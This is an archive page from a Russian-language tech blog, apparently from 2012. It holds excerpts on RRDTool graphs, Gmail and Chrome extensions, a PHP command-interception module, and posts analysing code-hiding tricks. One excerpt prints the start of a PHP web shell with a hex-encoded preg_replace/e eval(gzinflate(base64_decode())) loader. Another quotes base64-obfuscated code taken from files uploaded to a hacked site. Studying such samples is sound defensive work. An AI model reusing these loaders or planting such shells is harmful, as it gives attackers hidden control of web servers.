Архив за год: 2012

RRDTool Graphs with Gradient

Захотелось мне странного – чтобы на графике RRD c температурой процессора был градиент вместо простой линии. То, что вы видите выше – результат моих изысканий, изначально график выглядел примерно так: Просто полка и не очень ясно, какая там обстановка, пока не глянешь на цифровые значения. А если учесть наличие других графиков на странице, то не… Читать далее »

Better than Better GMail

В связи с безвременной кончиной Better GMail и Unofficial Better GMail, нашел замену: Gmelius™ – Ad Remover and Better UI for Gmail™. Из приятного – подсветка строк при наведении и возможность добавлять текст на кнопки “Архивировать”, “В спам!” и “Удалить”. В расширении они на английском языке, но имея в наличии две прямые руки (или, хотя… Читать далее »

Скрытие кода, метод 8

<?php # Web Shell by oRb $auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = ‘FilesMan’; $default_use_ajax = true; $default_charset = ‘Windows-1251’; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66 \x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F \x64\x65\x28’5b1pdx…Kn6fwE=’\x29\x29\x29\x3B",".");?> Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента! pattern Искомый шаблон. Может быть как строкой, так и массивом строк. Также доступны некоторые… Читать далее »

Ручная установка расширений Google Chrome

Проблема достаточно редкая, поэтому Google на нее просто забили и игнорируют мольбы пользователей ее устранить. Если Виндовс установлена на динамический диск (dynamic disk), расширения не устанавливаются, показывая ошибку: “Не удается распаковать расширение. Для безопасной распаковки расширения необходим путь к каталогу вашего профиля, начинающийся с буквы диска. Он не должен содержать параметр слияния папок, точку монтирования… Читать далее »

Скрытие кода, метод 7

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64: $GLOBALS[‘_482181972_’] = Array( base64_decode( ‘Z’ .’mlsZ’ .’V9′ .’nZ’ .’XRfY29u’ .’dGV’ .’udHM’ .’=’ ), // file_get_contents base64_decode( ‘c3Ry’ .’c’ .’G’ .’9z’ ), // strpos base64_decode( ‘ZmlsZW10’… Читать далее »

Function hijaking

Перехват функций – архиполезная штука. Если нет возможности изобрести пяттиколесный велосопед, поймать опасную функцию (системную команду) за хвост можно с помощью модуля Baxtep (спасибо Андрею). Baxtep – PHP security extension to intercept execution of system commands. Для сборки модуля понадобятся пара прямых рук и такие команды: # скачиваем с репозитория svn checkout https://baxtep.googlecode.com/svn/trunk/ baxtep #… Читать далее »

Скрытие кода, метод 6: ionCube HTML obfuscator

На сайте ionCube случайно заметил бесплатную плюшку – Free Obfuscating HTML Encoder. Захотелось посмотреть и раскодировать) Закодированная страница в примере на сайте выглядит следующим образом: <script language=javascript> c="e66x75…Y7dF7d"; // [1] first long string eval(unescape("%64%3d…%22%3b")); // [2] second long string x("C3Bomk…4ApQkS"); // [3] third long string </script> В оригинале весь код располагается в одну строку. В… Читать далее »